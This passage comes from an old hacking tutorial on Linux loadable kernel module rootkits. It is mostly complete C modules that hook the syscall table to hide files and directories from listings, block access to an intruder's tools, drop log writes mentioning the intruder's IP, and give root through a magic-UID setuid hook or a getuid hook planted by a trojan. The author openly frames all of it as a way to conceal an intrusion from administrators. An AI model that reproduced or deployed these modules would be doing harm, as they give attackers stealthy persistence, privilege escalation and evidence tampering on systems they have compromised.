  1074. #include <linux/malloc.h>
  1075. /*just a dummy for demonstration*/
  1076. static int driver_open(struct inode *i, struct file *f)
  1077. {
  1078. printk("<1>Open Function\n");
  1079. return 0;
  1080. }
  1081. /*register every function which will be provided by our driver*/
  1082. static struct file_operations fops = {
  1083. NULL, /*lseek*/
  1084. NULL, /*read*/
  1085. NULL, /*write*/
  1086. NULL, /*readdir*/
  1087. NULL, /*select*/
  1088. NULL, /*ioctl*/
  1089. NULL, /*mmap*/
  1090. driver_open, /*open, take a look at my dummy open function*/
  1091. NULL, /*release*/
  1092. NULL /*fsync...*/
  1093. };
  1094. int init_module(void)
  1095. {
  1096. /*register driver with major 40 and the name driver*/
  1097. if(register_chrdev(40, "driver", &fops)) return -EIO;
  1098. return 0;
  1099. }
  1100. void cleanup_module(void)
  1101. {
  1102. /*unregister our driver*/
  1103. unregister_chrdev(40, "driver");
  1104. }
  1105. </xmp>
  1106. The most important important function is register_chrdev(...) which registers
  1107. our driver with the major number 40. If you want to access this driver,do the
  1108. following :
  1109. <xmp>
  1110. # mknode /dev/driver c 40 0
  1111. # insmod driver.o
  1112. </xmp>
  1113. After this you can access that device (but i did not implement any functions due
  1114. to lack of time...). The file_operations structure provides every function
  1115. (operation) which our driver will provide to the system. As you can see I did
  1116. only implement a very (!) basic dummy function just printing something.
  1117. It should be clear that you can implement your own devices in a very easy way
  1118. by using the methods above. Just do some experiments. If you log some data (key
  1119. strokes, for example) you can build a buffer in your driver that exports its
  1120. contents through the device interface).
  1121. <u><b>
  1122. <H2>II. Fun & Profit</H2>
  1123. </u></b>
  1124. <P><P>
  1125. <H3><A NAME="II.1."></A>1. How to intercept Syscalls</h3>
  1126. Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel
  1127. (especially hardware drivers). Our 'Hacks' will do something different, they
  1128. will intercept systemcalls and modify them in order to change the way the system
  1129. reacts on certain commands.<br>
  1130. The following module makes it impossible for any user on the compromised system
  1131. to create directories. This is just a little demonstration to show the way we
  1132. follow.<br>
  1133. <xmp>
  1134. #define MODULE
  1135. #define __KERNEL__
  1136. #include <linux/module.h>
  1137. #include <linux/kernel.h>
  1138. #include <asm/unistd.h>
  1139. #include <sys/syscall.h>
  1140. #include <sys/types.h>
  1141. #include <asm/fcntl.h>
  1142. #include <asm/errno.h>
  1143. #include <linux/types.h>
  1144. #include <linux/dirent.h>
  1145. #include <sys/mman.h>
  1146. #include <linux/string.h>
  1147. #include <linux/fs.h>
  1148. #include <linux/malloc.h>
  1149. extern void* sys_call_table[]; /*sys_call_table is exported, so we
  1150. can access it*/
  1151. int (*orig_mkdir)(const char *path); /*the original systemcall*/
  1152. int hacked_mkdir(const char *path)
  1153. {
  1154. return 0; /*everything is ok, but he new systemcall
  1155. does nothing*/
  1156. }
  1157. int init_module(void) /*module setup*/
  1158. {
  1159. orig_mkdir=sys_call_table[SYS_mkdir];
  1160. sys_call_table[SYS_mkdir]=hacked_mkdir;
  1161. return 0;
  1162. }
  1163. void cleanup_module(void) /*module shutdown*/
  1164. {
  1165. sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
  1166. one*/
  1167. }
  1168. </xmp>
  1169. Compile this module and start it (see I.1). Try to make a directory, it will
  1170. not work.Because of returning 0 (standing for OK) we don't get an error message.
  1171. After removing the module making directories is possible again.
  1172. As you can see, we only need to change the corresponding entry in sys_call_table
  1173. (see I.2) for intercepting a kernel systemcall.<br>
  1174. The general approach to intercepting a systemcall is outlined in the following
  1175. list :<br>
  1176. <ul>
  1177. <li> find your systemcall entry in sys_call_table[] (take a look at include/sys/
  1178. syscall.h)<br>
  1179. <li> save the old entry of sys_call_table[X] in a function pointer (where X stands
  1180. for the systemcallnumber you want to intercept)<br>
  1181. <li> save the address of the new (hacked) systemcall you defined yourself by
  1182. setting sys_call_table[X] to the needed function address<br>
  1183. </ul>
  1184. You will recognize that it is very useful to save the old systemcall function
  1185. pointer, because you will need it in your hacked one for emulating the original
  1186. call. The first question you have to face when writing a 'Hack-LKM ' is : <br>
  1187. <i>'Which systemcall should I intercept'.</i><br>
  1188. <H3><A NAME="II.2."></A>2. Interesting Syscalls to Intercept</h3>
  1189. Perhaps you are not a 'kernel god' and you don't know every systemcall for every
  1190. user space function an application or command can use. So I will give you some
  1191. hints on finding your systemcalls to take control over.<br>
  1192. <ol type="a">
  1193. <li>read source code. On systems like Linux you can have the source code on
  1194. nearly any program a user (admin) can use. Once you have found a basic
  1195. function like dup, open, write, ... go to b<br>
  1196. <li>take a look at include/sys/syscall.h (see I.2). Try to find a directly
  1197. corresponding systemcall (search for dup -> you will find SYS_dup; search
  1198. for write -> you will find SYS_write; ...). If this does not work got to c<br>
  1199. <li>some calls like socket, send, receive, ... are implemented through one
  1200. systemcall - as I said before. Take a look at the include file mentioned
  1201. for related systemcalls.<br>
  1202. </ol>
  1203. Remember not every C-lib function is a systemcall ! Most functions are totally
  1204. unrelated to any systemcalls !<br>
  1205. A little more experienced hackers should take a look at the systemcall listing
  1206. in I.2 which provides enough information. It should be clear that User ID management
  1207. is implemented through the uid-systemcalls etc. If you really want to be sure
  1208. you can also take a look at the library sources / kernel sources.<br>
  1209. The hardest problem is an admin writing its own applications for checking system
  1210. integrity / security. The problem concerning those programs is the lack of source
  1211. code. We cannot say how this program exactly works and which systemcalls we have
  1212. to intercept in order to hide our presents / tools. It may even be possible that
  1213. he introduced a LKM hiding itself which implements cool hacker-like systemcalls
  1214. for checking the system security (the admins often use hacker techniques to defend
  1215. their system...). So how do we proceed.<br>
  1216. <H4><A NAME="II.2.1."></A>2.1 Finding interesting systemcalls (the strace approach)</h4>
  1217. Let's say you know the super-admin program used to check the system (this can
  1218. be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem
  1219. is that you need to hide your presents from the super-admin program until that
  1220. point..).<br>
  1221. So run the program (perhaps you have to be root to execute it) using strace.
  1222. <xmp>
  1223. # strace super_admin_proggy
  1224. </xmp>
  1225. This will give you a really nice output of every systemcall made by that program
  1226. including the systemcalls which may be added by the admin through his hacking
  1227. LKM (could be possible). I don't have a super-admin-proggy for showing you a
  1228. sample output, but take a look at the output of 'strace whoami' :<vr>
  1229. <xmp>
  1230. execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
  1231. mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
  1232. mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
  1233. mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
  1234. stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
  1235. open("/etc/ld.so.cache", O_RDONLY) = 3
  1236. mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
  1237. close(3) = 0
  1238. stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
  1239. open("/lib/libc.so.5", O_RDONLY) = 3
  1240. read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
  1241. mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
  1242. mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
  1243. mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
  1244. mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
  1245. close(3) = 0
  1246. mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
  1247. munmap(0x40008000, 13363) = 0
  1248. mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
  1249. mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
  1250. mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
  1251. personality(PER_LINUX) = 0
  1252. geteuid() = 500
  1253. getuid() = 500
  1254. getgid() = 100
  1255. getegid() = 100
  1256. brk(0x804aa48) = 0x804aa48
  1257. brk(0x804b000) = 0x804b000
  1258. open("/usr/share/locale/locale.alias", O_RDONLY) = 3
  1259. fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
  1260. mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
  1261. read(3, "# Locale name alias data base\n#"..., 4096) = 2005
  1262. brk(0x804c000) = 0x804c000
  1263. read(3, "", 4096) = 0
  1264. close(3) = 0
  1265. munmap(0x40008000, 4096) = 0
  1266. open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
  1267. open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
  1268. fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
  1269. mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
  1270. close(3) = 0
  1271. geteuid() = 500
  1272. open("/etc/passwd", O_RDONLY) = 3
  1273. fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
  1274. mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
  1275. read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
  1276. close(3) = 0
  1277. munmap(0x4000b000, 4096) = 0
  1278. fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
  1279. mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
  1280. write(1, "r00t\n", 5r00t
  1281. ) = 5
  1282. _exit(0) = ?
  1283. </xmp>
  1284. This is a very nice listing of all systamcalls made by the command 'whoami',
  1285. isn't it ? There are 4 interesting systemcalls to intercept in order to
  1286. manipulate the output of 'whoami'
  1287. <xmp>
  1288. geteuid() = 500
  1289. getuid() = 500
  1290. getgid() = 100
  1291. getegid() = 100
  1292. </xmp>
  1293. Take a look at II.6 for an implementation of that problem. This way of analysing
  1294. programs is also very important for a quick look at other standard tools.<br>
  1295. I hope you are now able to find any systemcall which can help you to hide
  1296. yourself or just to backdoor the system, or whatever you want.
  1297. <H3><A NAME="II.3."></A>3. Confusing the kernel's System Table</h3>
  1298. In II.1 you saw how to access the sys_call_table, which is exported through the
  1299. kernel symbol table. Now think about this... We can modify <i>any</i> exported item
  1300. (functions, structures, variables, for example) by accessing them within our
  1301. module.<br>
  1302. Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot
  1303. be compromised that way, because we don't export any symbols. Here is a little
  1304. excerpt from my /proc/ksyms file, just to show you what you can actually modify.
  1305. <xmp>
  1306. ...
  1307. 001bf1dc ppp_register_compressor
  1308. 001bf23c ppp_unregister_compressor
  1309. 001e7a10 ppp_crc16_table
  1310. 001b9cec slhc_init
  1311. 001b9ebc slhc_free
  1312. 001baa20 slhc_remember
  1313. 001b9f6c slhc_compress
  1314. 001ba5dc slhc_uncompress
  1315. 001babbc slhc_toss
  1316. 001a79f4 register_serial
  1317. 001a7b40 unregister_serial
  1318. 00109cec dump_thread
  1319. 00109c98 dump_fpu
  1320. 001c0c90 __do_delay
  1321. 001c0c60 down_failed
  1322. 001c0c80 down_failed_interruptible
  1323. 001c0c70 up_wakeup
  1324. 001390dc sock_register
  1325. 00139110 sock_unregister
  1326. 0013a390 memcpy_fromiovec
  1327. 001393c8 sock_setsockopt
  1328. 00139640 sock_getsockopt
  1329. 001398c8 sk_alloc
  1330. 001398f8 sk_free
  1331. 00137b88 sock_wake_async
  1332. 00139a70 sock_alloc_send_skb
  1333. 0013a408 skb_recv_datagram
  1334. 0013a580 skb_free_datagram
  1335. 0013a5cc skb_copy_datagram
  1336. 0013a60c skb_copy_datagram_iovec
  1337. 0013a62c datagram_select
  1338. 00141480 inet_add_protocol
  1339. 001414c0 inet_del_protocol
  1340. 001ddd18 rarp_ioctl_hook
  1341. 001bade4 init_etherdev
  1342. 00140904 ip_rt_route
  1343. 001408e4 ip_rt_dev
  1344. 00150b84 icmp_send
  1345. 00143750 ip_options_compile
  1346. 001408c0 ip_rt_put
  1347. 0014faa0 arp_send
  1348. 0014f5ac arp_bind_cache
  1349. 001dd3cc ip_id_count
  1350. 0014445c ip_send_check
  1351. 00142bc0 ip_forward
  1352. 001dd3c4 sysctl_ip_forward
  1353. 0013a994 register_netdevice_notifier
  1354. 0013a9c8 unregister_netdevice_notifier
  1355. 0013ce00 register_net_alias_type
  1356. 0013ce4c unregister_net_alias_type
  1357. 001bb208 register_netdev
  1358. 001bb2e0 unregister_netdev
  1359. 001bb090 ether_setup
  1360. 0013d1c0 eth_type_trans
  1361. 0013d318 eth_copy_and_sum
  1362. 0014f164 arp_query
  1363. 00139d84 alloc_skb
  1364. 00139c90 kfree_skb
  1365. 00139f20 skb_clone
  1366. 0013a1d0 dev_alloc_skb
  1367. 0013a184 dev_kfree_skb
  1368. 0013a14c skb_device_unlock
  1369. 0013ac20 netif_rx
  1370. 0013ae0c dev_tint
  1371. 001e6ea0 irq2dev_map
  1372. 0013a7a8 dev_add_pack
  1373. 0013a7e8 dev_remove_pack
  1374. 0013a840 dev_get
  1375. 0013b704 dev_ioctl
  1376. 0013abfc dev_queue_xmit
  1377. 001e79a0 dev_base
  1378. 0013a8dc dev_close
  1379. 0013ba40 dev_mc_add
  1380. 0014f3c8 arp_find
  1381. 001b05d8 n_tty_ioctl
  1382. 001a7ccc tty_register_ldisc
  1383. 0012c8dc kill_fasync
  1384. 0014f164 arp_query
  1385. 00155ff8 register_ip_masq_app
  1386. 0015605c unregister_ip_masq_app
  1387. 00156764 ip_masq_skb_replace
  1388. 00154e30 ip_masq_new
  1389. 00154e64 ip_masq_set_expire
  1390. 001ddf80 ip_masq_free_ports
  1391. 001ddfdc ip_masq_expire
  1392. 001548f0 ip_masq_out_get_2
  1393. 001391e8 register_firewall
  1394. 00139258 unregister_firewall
  1395. 00139318 call_in_firewall
  1396. 0013935c call_out_firewall
  1397. 001392d4 call_fw_firewall
  1398. ...
  1399. </xmp>
  1400. Just look at call_in_firewall, this is a function used by the firewall management
  1401. in the kernel. What would happen if we replace this function with a bogus one ?<br>
  1402. Take a look at the following LKM :
  1403. <xmp>
  1404. #define MODULE
  1405. #define __KERNEL__
  1406. #include <linux/module.h>
  1407. #include <linux/kernel.h>
  1408. #include <asm/unistd.h>
  1409. #include <sys/syscall.h>
  1410. #include <sys/types.h>
  1411. #include <asm/fcntl.h>
  1412. #include <asm/errno.h>
  1413. #include <linux/types.h>
  1414. #include <linux/dirent.h>
  1415. #include <sys/mman.h>
  1416. #include <linux/string.h>
  1417. #include <linux/fs.h>
  1418. #include <linux/malloc.h>
  1419. /*get the exported function*/
  1420. extern int *call_in_firewall;
  1421. /*our nonsense call_in_firewall*/
  1422. int new_call_in_firewall()
  1423. {
  1424. return 0;
  1425. }
  1426. int init_module(void) /*module setup*/
  1427. {
  1428. call_in_firewall=new_call_in_firewall;
  1429. return 0;
  1430. }
  1431. void cleanup_module(void) /*module shutdown*/
  1432. {
  1433. }
  1434. </xmp>
  1435. Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping
  1436. 127.0.0.1', your kernel will produce a nice error message, because the called
  1437. call_in_firewall(...) function was replaced by a bogus one (you may skip the
  1438. firewall installation in this example).<br>
  1439. This is a quite brutal way of killing an exported symbol. You could also
  1440. disassemble (using gdb) a certain symbol and modify certain bytes which will
  1441. change the working of that symbol. Imagine there is a IF THEN contruction used
  1442. in an exported function. How about disassembling this function and searching for
  1443. commands like JNZ, JNE, ... This way you would be able to patch important items.
  1444. Of course, you could lookup the functions in the kernel / module sources, but
  1445. what about symbols you cannot get the source for because you only got a binary
  1446. module. Here the disassembling is quite interesting.<br>
  1447. <H3><A NAME="II.4."></A>4. Filesystem related Hacks</h3>
  1448. The most important feature of LKM hacking is the abilaty to hide some items
  1449. (your exploits, sniffer (+logs), and so on) in the local filesystem.
  1450. <H4><A NAME="II.4.1."></A>4.1 How to Hide Files</h4>
  1451. Imagine how an admin will find your files : He will use 'ls' and see everything.
  1452. For those who don't know it, strace'in through 'ls' will show you that the
  1453. systemcall used for getting directory listings is
  1454. <xmp>
  1455. int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
  1456. </xmp>
  1457. So we know where to attack.The following piece of code shows the hacked_getdents
  1458. systemcall adapted from AFHRM (from Michal Zalewski). This module is able to
  1459. hide any file from 'ls' and <i>every</i> program using getdents systemcall.
  1460. <xmp>
  1461. #define MODULE
  1462. #define __KERNEL__
  1463. #include <linux/module.h>
  1464. #include <linux/kernel.h>
  1465. #include <asm/unistd.h>
  1466. #include <sys/syscall.h>
  1467. #include <sys/types.h>
  1468. #include <asm/fcntl.h>
  1469. #include <asm/errno.h>
  1470. #include <linux/types.h>
  1471. #include <linux/dirent.h>
  1472. #include <sys/mman.h>
  1473. #include <linux/string.h>
  1474. #include <linux/fs.h>
  1475. #include <linux/malloc.h>
  1476. extern void* sys_call_table[];
  1477. int (*orig_getdents) (uint, struct dirent *, uint);
  1478. int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  1479. {
  1480. unsigned int tmp, n;
  1481. int t, proc = 0;
  1482. struct inode *dinode;
  1483. struct dirent *dirp2, *dirp3;
  1484. char hide[]="ourtool"; /*the file to hide*/
  1485. /*call original getdents -> result is saved in tmp*/
  1486. tmp = (*orig_getdents) (fd, dirp, count);
  1487. /*directory cache handling*/
  1488. /*this must be checked because it could be possible that a former getdents
  1489. put the results into the task process structure's dcache*/
  1490. #ifdef __LINUX_DCACHE_H
  1491. dinode = current->files->fd[fd]->f_dentry->d_inode;
  1492. #else
  1493. dinode = current->files->fd[fd]->f_inode;
  1494. #endif
  1495. /*dinode is the inode of the required directory*/
  1496. if (tmp > 0)
  1497. {
  1498. /*dirp2 is a new dirent structure*/
  1499. dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  1500. /*copy original dirent structure to dirp2*/
  1501. memcpy_fromfs(dirp2, dirp, tmp);
  1502. /*dirp3 points to dirp2*/
  1503. dirp3 = dirp2;
  1504. t = tmp;
  1505. while (t > 0)
  1506. {
  1507. n = dirp3->d_reclen;
  1508. t -= n;
  1509. /*check if current filename is the name of the file we want to hide*/
  1510. if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
  1511. {
  1512. /*modify dirent struct if necessary*/
  1513. if (t != 0)
  1514. memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
  1515. else
  1516. dirp3->d_off = 1024;
  1517. tmp -= n;
  1518. }
  1519. if (dirp3->d_reclen == 0)
  1520. {
  1521. /*
  1522. * workaround for some shitty fs drivers that do not properly
  1523. * feature the getdents syscall.
  1524. */
  1525. tmp -= t;
  1526. t = 0;
  1527. }
  1528. if (t != 0)
  1529. dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  1530. }
  1531. memcpy_tofs(dirp, dirp2, tmp);
  1532. kfree(dirp2);
  1533. }
  1534. return tmp;
  1535. }
  1536. int init_module(void) /*module setup*/
  1537. {
  1538. orig_getdents=sys_call_table[SYS_getdents];
  1539. sys_call_table[SYS_getdents]=hacked_getdents;
  1540. return 0;
  1541. }
  1542. void cleanup_module(void) /*module shutdown*/
  1543. {
  1544. sys_call_table[SYS_getdents]=orig_getdents;
  1545. }
  1546. </xmp>
  1547. For beginners : read the comments and use your brain for 10 mins. <br>
  1548. After that continue reading.<br>
  1549. This hack is really helpful. But remember that the admin can see your file by
  1550. directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our
  1551. file. So never take any trivial names for your tools like sniffer, mountdxpl.c,
  1552. .... Of course their are ways to prevent an admin from reading our files, just
  1553. read on.<br>
  1554. <H4><A NAME="II.4.2."></A>4.2 How to hide the file contents (totally)</h4>
  1555. I never saw an implementation really doing this. Of course their are LKMs like
  1556. AFHRM by Michal Zalewski controlling the contents / delete functions but not
  1557. really hiding the contents. I suppose their are lots of people actually using
  1558. methods like this, but no one wrote on it, so I do.<br>
  1559. It should be clear that there are many ways of doing this. The first way is
  1560. very simple,just intercept an open systemcall checking if filename is 'ourtool'.
  1561. If so deny any open-attempt, so no read / write or whatever is possible. Let's
  1562. implement that LKM :<br>
  1563. <xmp>
  1564. #define MODULE
  1565. #define __KERNEL__
  1566. #include <linux/module.h>
  1567. #include <linux/kernel.h>
  1568. #include <asm/unistd.h>
  1569. #include <sys/syscall.h>
  1570. #include <sys/types.h>
  1571. #include <asm/fcntl.h>
  1572. #include <asm/errno.h>
  1573. #include <linux/types.h>
  1574. #include <linux/dirent.h>
  1575. #include <sys/mman.h>
  1576. #include <linux/string.h>
  1577. #include <linux/fs.h>
  1578. #include <linux/malloc.h>
  1579. extern void* sys_call_table[];
  1580. int (*orig_open)(const char *pathname, int flag, mode_t mode);
  1581. int hacked_open(const char *pathname, int flag, mode_t mode)
  1582. {
  1583. char *kernel_pathname;
  1584. char hide[]="ourtool";
  1585. /*this is old stuff -> transfer to kernel space*/
  1586. kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
  1587. memcpy_fromfs(kernel_pathname, pathname, 255);
  1588. if (strstr(kernel_pathname, (char*)&hide ) != NULL)
  1589. {
  1590. kfree(kernel_pathname);
  1591. /*return error code for 'file does not exist'*/
  1592. return -ENOENT;
  1593. }
  1594. else
  1595. {
  1596. kfree(kernel_pathname);
  1597. /*everything ok, it is not our tool*/
  1598. return orig_open(pathname, flag, mode);
  1599. }
  1600. }
  1601. int init_module(void) /*module setup*/
  1602. {
  1603. orig_open=sys_call_table[SYS_open];
  1604. sys_call_table[SYS_open]=hacked_open;
  1605. return 0;
  1606. }
  1607. void cleanup_module(void) /*module shutdown*/
  1608. {
  1609. sys_call_table[SYS_open]=orig_open;
  1610. }
  1611. </xmp>
  1612. This works very fine, it tells anyone trying to access our files, that they
  1613. are non-existent. But how do we access those files. Well there are many ways
  1614. <ul>
  1615. <li>implement a magic-string<br>
  1616. <li>implement uid or gid check (requires creating a certain account)<br>
  1617. <li>implement a time check<br>
  1618. <li>...<br>
  1619. </ul>
  1620. There are thousands of possibilies which are all very easy to implement, so I
  1621. leave this as an exercise for the reader.
  1622. <H4><A NAME="II.4.3."></A>4.3 How to hide certain file parts (a prototype implementation)</h4>
  1623. Well the method shown in 3.2 is very useful for our own tools / logs. But
  1624. what about modifying admin / other user files. Imagine you want to control
  1625. /var/log/messages for entries concerning your IP address / DNS name. We all
  1626. know thousands of backdoors hiding our identity from any important logfile.
  1627. But what about a LKM just filtering every string (data) written to a file. If
  1628. this string contains any data concerning our identity (IP address, for example)
  1629. we deny that write (we will just skip it/return). The following implementation
  1630. is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it
  1631. before, but as in 3.2 there may be some people using this since years.
  1632. <xmp>
  1633. #define MODULE
  1634. #define __KERNEL__
  1635. #include <linux/module.h>
  1636. #include <linux/kernel.h>
  1637. #include <asm/unistd.h>
  1638. #include <sys/syscall.h>
  1639. #include <sys/types.h>
  1640. #include <asm/fcntl.h>
  1641. #include <asm/errno.h>
  1642. #include <linux/types.h>
  1643. #include <linux/dirent.h>
  1644. #include <sys/mman.h>
  1645. #include <linux/string.h>
  1646. #include <linux/fs.h>
  1647. #include <linux/malloc.h>
  1648. extern void* sys_call_table[];
  1649. int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
  1650. int hacked_write(unsigned int fd, char *buf, unsigned int count)
  1651. {
  1652. char *kernel_buf;
  1653. char hide[]="127.0.0.1"; /*the IP address we want to hide*/
  1654. kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
  1655. memcpy_fromfs(kernel_buf, buf, 999);
  1656. if (strstr(kernel_buf, (char*)&hide ) != NULL)
  1657. {
  1658. kfree(kernel_buf);
  1659. /*say the program, we have written 1 byte*/
  1660. return 1;
  1661. }
  1662. else
  1663. {
  1664. kfree(kernel_buf);
  1665. return orig_write(fd, buf, count);
  1666. }
  1667. }
  1668. int init_module(void) /*module setup*/
  1669. {
  1670. orig_write=sys_call_table[SYS_write];
  1671. sys_call_table[SYS_write]=hacked_write;
  1672. return 0;
  1673. }
  1674. void cleanup_module(void) /*module shutdown*/
  1675. {
  1676. sys_call_table[SYS_write]=orig_write;
  1677. }
  1678. </xmp>
  1679. This LKM has several disadvantages, it does not check for the destination it
  1680. the write is used on (can be checked via fd; read on for a sample). This means
  1681. the even a 'echo '127.0.0.1'' will be printed.<br>
  1682. You can also modify the string which should be written, so that it shows an IP
  1683. address of someone you really like... But the general idea should be clear.<br>
  1684. <H4><A NAME="II.4.4."></A>4.4 How to redirect / monitor file operations</h4>
  1685. This idea is old, and was first implemented by Michal Zalewski in AFHRM.
  1686. I won't show any code here, because it is too easy to implemented (after
  1687. showing you II.4.3/II.4.2).There are many things you can monitor by redirection/
  1688. filesystem events :
  1689. <ul>
  1690. <li>someone writes to a file -> copy the contents to another file
  1691. =>this can be done with sys_write(...) redirection<br>
  1692. <li>someone was able to read a sensitve file -> monitor file reading of certain
  1693. files<br>
  1694. =>this can be done with sys_read(...) redirection<br>
  1695. <li>someone opens a file -> we can monitor the whole system for such events<br>
  1696. =>intercept sys_open(...) and write files opened to a logfile; this is
  1697. the ways AFHRM monitors the files of a system (see IV.3 for source)<br>
  1698. <li>link / unlink events -> monitor every link created<br>
  1699. =>intercept sys_link(...) (see IV.3 for source)<br>
  1700. <li>rename events -> monitor every file rename event<br>
  1701. =>intercept sys_rename(...) (see IV.4 for source)<br>
  1702. <li>...<br>
  1703. </ul>
  1704. These are very interesting points (especially for admins) because you can
  1705. monitor a whole system for file changes. In my opinion it would also be
  1706. interesting to monitor file / directory creations, which use commands like
  1707. 'touch' and 'mkdir'.<br>
  1708. The command 'touch' (for example) does <i>not</i> use open for the creation process;
  1709. a strace shows us the following listing (excerpt) :
  1710. <xmp>
  1711. ...
  1712. stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory)
  1713. creat("ourtool", 0666) = 3
  1714. close(3) = 0
  1715. _exit(0) = ?
  1716. </xmp>
  1717. As you can see the system uses the systemcall sys_creat(..) to create new files.
  1718. I think it is not necessary to present a source,because this task is too trivial
  1719. just intercept sys_creat(...) and write every filename to logfile with
  1720. printk(...).<br>
  1721. This is the way AFHRM logs any important events.
  1722. <H4><A NAME="II.4.5."></A>4.5 How to avoid any file owner problems</h4>
  1723. This hack is not only filesystem related, it is also very important for general
  1724. permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)
  1725. suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid
  1726. is used with this magic UID, the module will set the UIDs to 0 (SuperUser).<br>
  1727. Let's look at his implementation(I will only show the hacked_setuid systemcall):
  1728. <xmp>
  1729. ...
  1730. int hacked_setuid(uid_t uid)
  1731. {
  1732. int tmp;
  1733. /*do we have the magic UID (defined in the LKM somewhere before*/
  1734. if (uid == MAGICUID) {
  1735. /*if so set all UIDs to 0 (SuperUser)*/
  1736. current->uid = 0;
  1737. current->euid = 0;
  1738. current->gid = 0;
  1739. current->egid = 0;
  1740. return 0;
  1741. }
  1742. tmp = (*o_setuid) (uid);
  1743. return tmp;
  1744. }
  1745. ...
  1746. </xmp>
  1747. I think the following trick could also be very helpful in certain situation.
  1748. Imagine the following situation: You give a bad trojan to an (very silly) admin;
  1749. this trojan installs the following LKM on that system [i did not implement hide
  1750. features, just a prototype of my idea] :<vr>
  1751. <xmp>
  1752. #define MODULE
  1753. #define __KERNEL__
  1754. #include <linux/module.h>
  1755. #include <linux/kernel.h>
  1756. #include <asm/unistd.h>
  1757. #include <sys/syscall.h>
  1758. #include <sys/types.h>
  1759. #include <asm/fcntl.h>
  1760. #include <asm/errno.h>
  1761. #include <linux/types.h>
  1762. #include <linux/dirent.h>
  1763. #include <sys/mman.h>
  1764. #include <linux/string.h>
  1765. #include <linux/fs.h>
  1766. #include <linux/malloc.h>
  1767. extern void* sys_call_table[];
  1768. int (*orig_getuid)();
  1769. int hacked_getuid()
  1770. {
  1771. int tmp;
  1772. /*check for our UID*/
  1773. if (current->uid=500) {
  1774. /*if its our UID -> this means we log in -> give us a rootshell*/
  1775. current->uid = 0;
  1776. current->euid = 0;
  1777. current->gid = 0;
  1778. current->egid = 0;
  1779. return 0;
  1780. }
  1781. tmp = (*orig_getuid) ();
  1782. return tmp;
  1783. }
  1784. int init_module(void) /*module setup*/
  1785. {
  1786. orig_getuid=sys_call_table[SYS_getuid];
  1787. sys_call_table[SYS_getuid]=hacked_getuid;
  1788. return 0;
  1789. }
  1790. void cleanup_module(void) /*module shutdown*/
  1791. {
  1792. sys_call_table[SYS_getuid]=orig_getuid;
  1793. }
  1794. </xmp>
  1795. If this LKM is loaded on a system we are only a normal user, login will give us
  1796. a nice rootshell (the current process has SuperUser rights). As I said in part
  1797. I current points to the current task structure.
  1798. <H4><A NAME="II.4.6."></A>4.6 How to make a hacker-tools-directory unaccessible</h4>
  1799. For hackers it is often important to make the directory they use for their tools
  1800. (<i>advanced</i> hackers don't use the regular local filesystem to store their data).
  1801. Using the getdents approach helped us to hide directory/files. The open approach
  1802. helped us to make our files unaccessible. But how to make our directory
  1803. unaccessible ?<br>
  1804. Well - as always - take a look at include/sys/syscall.h; you should be able to
  1805. figure out SYS_chdir as the systemcall we need (for people who don't believe it
  1806. just strace the 'cd' command...). This time I won't give you any source, because
  1807. you just need to intercept sys_mkdir, and make a string comparison. After this
  1808. you should make a regular call (if it is not our directory) or return ENOTDIR
